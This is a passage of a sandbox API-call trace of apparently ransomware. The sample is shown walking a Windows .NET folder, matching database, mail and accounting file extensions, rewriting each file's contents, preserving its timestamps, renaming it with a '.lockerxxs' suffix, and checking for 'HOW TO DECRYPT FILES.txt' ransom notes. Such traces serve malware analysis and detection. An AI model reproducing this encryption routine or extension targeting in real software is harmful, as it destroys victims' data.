[0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbx") returned 0 [0137.574] lstrlenA (lpString="*.qbx") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qba") returned 0 [0137.575] lstrlenA (lpString="*.qba") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qby") returned 0 [0137.575] lstrlenA (lpString="*.qby") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbj") returned 0 [0137.575] lstrlenA (lpString="*.qbj") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.ofx") returned 0 [0137.575] lstrlenA (lpString="*.ofx") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qif") returned 0 [0137.575] lstrlenA (lpString="*.qif") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.mye") returned 0 [0137.575] lstrlenA (lpString="*.mye") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.mbox") returned 0 [0137.575] lstrlenA (lpString="*.mbox") returned 6 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.eml") returned 0 [0137.575] lstrlenA (lpString="*.eml") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.pst") returned 0 [0137.575] lstrlenA (lpString="*.pst") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.ost") returned 0 [0137.575] lstrlenA (lpString="*.ost") returned 5 [0137.575] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.idx") returned 0 [0137.576] lstrlenA (lpString="*.idx") returned 5 [0137.576] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.dbx") returned 0 [0137.576] lstrlenA (lpString="*.dbx") returned 5 [0137.576] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.sql") returned 1 [0137.576] lstrlenA (lpString="*.sql") returned 5 [0137.576] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" [0137.576] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" [0137.576] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql." [0137.576] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.lockerxxs" [0137.576] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.577] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85d8 [0137.577] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x26eda300, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9ee16760, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x26eda300, dwHighDateTime=0x1cac5de)) returned 1 [0137.577] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.577] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x85b2, lpOverlapped=0x0) returned 1 [0137.580] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql") returned="InstallRoles.sql" [0137.580] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.580] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x85b2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x85b2, lpOverlapped=0x0) returned 1 [0137.581] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.581] CloseHandle (hObject=0x8c) returned 1 [0137.581] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql.lockerxxs")) returned 1 [0137.582] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x59444f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xd49b, dwReserved0=0xf30001f2, dwReserved1=0x4e00c4, cFileName="InstallSqlState.sql", cAlternateFileName="IN71C0~1.SQL")) returned 1 [0137.582] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.582] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallSqlState.sql") returned -1 [0137.582] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallSqlState.sql") returned -1 [0137.582] lstrcmpiA (lpString1="", lpString2="InstallSqlState.sql") returned -1 [0137.582] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql") returned="InstallRoles.sql" [0137.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.583] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.583] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.583] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.583] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.ems") returned 0 [0137.583] lstrlenA (lpString="*.ems") returned 5 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.db") returned 0 [0137.583] lstrlenA (lpString="*.db") returned 4 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.dbf") returned 0 [0137.583] lstrlenA (lpString="*.dbf") returned 5 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.myox") returned 0 [0137.583] lstrlenA (lpString="*.myox") returned 6 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.myo") returned 0 [0137.583] lstrlenA (lpString="*.myo") returned 5 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbw") returned 0 [0137.583] lstrlenA (lpString="*.qbw") returned 5 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbb") returned 0 [0137.583] lstrlenA (lpString="*.qbb") returned 5 [0137.583] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbm") returned 0 [0137.583] lstrlenA (lpString="*.qbm") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbo") returned 0 [0137.584] lstrlenA (lpString="*.qbo") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbx") returned 0 [0137.584] lstrlenA (lpString="*.qbx") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qba") returned 0 [0137.584] lstrlenA (lpString="*.qba") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qby") returned 0 [0137.584] lstrlenA (lpString="*.qby") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qbj") returned 0 [0137.584] lstrlenA (lpString="*.qbj") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.ofx") returned 0 [0137.584] lstrlenA (lpString="*.ofx") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.qif") returned 0 [0137.584] lstrlenA (lpString="*.qif") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.mye") returned 0 [0137.584] lstrlenA (lpString="*.mye") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.mbox") returned 0 [0137.584] lstrlenA (lpString="*.mbox") returned 6 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.eml") returned 0 [0137.584] lstrlenA (lpString="*.eml") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.pst") returned 0 [0137.584] lstrlenA (lpString="*.pst") returned 5 [0137.584] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.ost") returned 0 [0137.585] lstrlenA (lpString="*.ost") returned 5 [0137.585] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.idx") returned 0 [0137.585] lstrlenA (lpString="*.idx") returned 5 [0137.585] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.dbx") returned 0 [0137.585] lstrlenA (lpString="*.dbx") returned 5 [0137.585] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", pszSpec="*.sql") returned 1 [0137.585] lstrlenA (lpString="*.sql") returned 5 [0137.585] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" [0137.585] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" [0137.585] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql." [0137.585] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.lockerxxs" [0137.585] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.586] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd49b [0137.586] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01), lpLastAccessTime=0x407536*(dwLowDateTime=0x59444f00, dwHighDateTime=0x1d2e676), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01)) returned 1 [0137.586] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.586] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd475, lpOverlapped=0x0) returned 1 [0137.588] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql") returned="InstallSqlState.sql" [0137.589] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.589] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd475, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd475, lpOverlapped=0x0) returned 1 [0137.589] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.589] CloseHandle (hObject=0x8c) returned 1 [0137.589] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql.lockerxxs")) returned 1 [0137.591] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x59444f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xdba9, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="InstallSqlStateTemplate.sql", cAlternateFileName="INB4D7~1.SQL")) returned 1 [0137.591] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.591] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallSqlStateTemplate.sql") returned -1 [0137.591] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallSqlStateTemplate.sql") returned -1 [0137.591] lstrcmpiA (lpString1="", lpString2="InstallSqlStateTemplate.sql") returned -1 [0137.591] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql") returned="InstallSqlState.sql" [0137.591] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.591] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.591] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.591] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.591] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" [0137.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.ems") returned 0 [0137.591] lstrlenA (lpString="*.ems") returned 5 [0137.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.db") returned 0 [0137.591] lstrlenA (lpString="*.db") returned 4 [0137.591] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.dbf") returned 0 [0137.591] lstrlenA (lpString="*.dbf") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.myox") returned 0 [0137.592] lstrlenA (lpString="*.myox") returned 6 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.myo") returned 0 [0137.592] lstrlenA (lpString="*.myo") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbw") returned 0 [0137.592] lstrlenA (lpString="*.qbw") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbb") returned 0 [0137.592] lstrlenA (lpString="*.qbb") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbm") returned 0 [0137.592] lstrlenA (lpString="*.qbm") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbo") returned 0 [0137.592] lstrlenA (lpString="*.qbo") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbx") returned 0 [0137.592] lstrlenA (lpString="*.qbx") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qba") returned 0 [0137.592] lstrlenA (lpString="*.qba") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qby") returned 0 [0137.592] lstrlenA (lpString="*.qby") returned 5 [0137.592] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qbj") returned 0 [0137.593] lstrlenA (lpString="*.qbj") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.ofx") returned 0 [0137.593] lstrlenA (lpString="*.ofx") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.qif") returned 0 [0137.593] lstrlenA (lpString="*.qif") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.mye") returned 0 [0137.593] lstrlenA (lpString="*.mye") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.mbox") returned 0 [0137.593] lstrlenA (lpString="*.mbox") returned 6 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.eml") returned 0 [0137.593] lstrlenA (lpString="*.eml") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.pst") returned 0 [0137.593] lstrlenA (lpString="*.pst") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.ost") returned 0 [0137.593] lstrlenA (lpString="*.ost") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.idx") returned 0 [0137.593] lstrlenA (lpString="*.idx") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.dbx") returned 0 [0137.593] lstrlenA (lpString="*.dbx") returned 5 [0137.593] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", pszSpec="*.sql") returned 1 [0137.593] lstrlenA (lpString="*.sql") returned 5 [0137.593] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" [0137.594] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" [0137.594] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql." [0137.594] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.lockerxxs" [0137.594] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.595] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdba9 [0137.595] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01), lpLastAccessTime=0x407536*(dwLowDateTime=0x59444f00, dwHighDateTime=0x1d2e676), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf9129300, dwHighDateTime=0x1d06a01)) returned 1 [0137.595] SetFilePointer (in: hFile=0x8c, 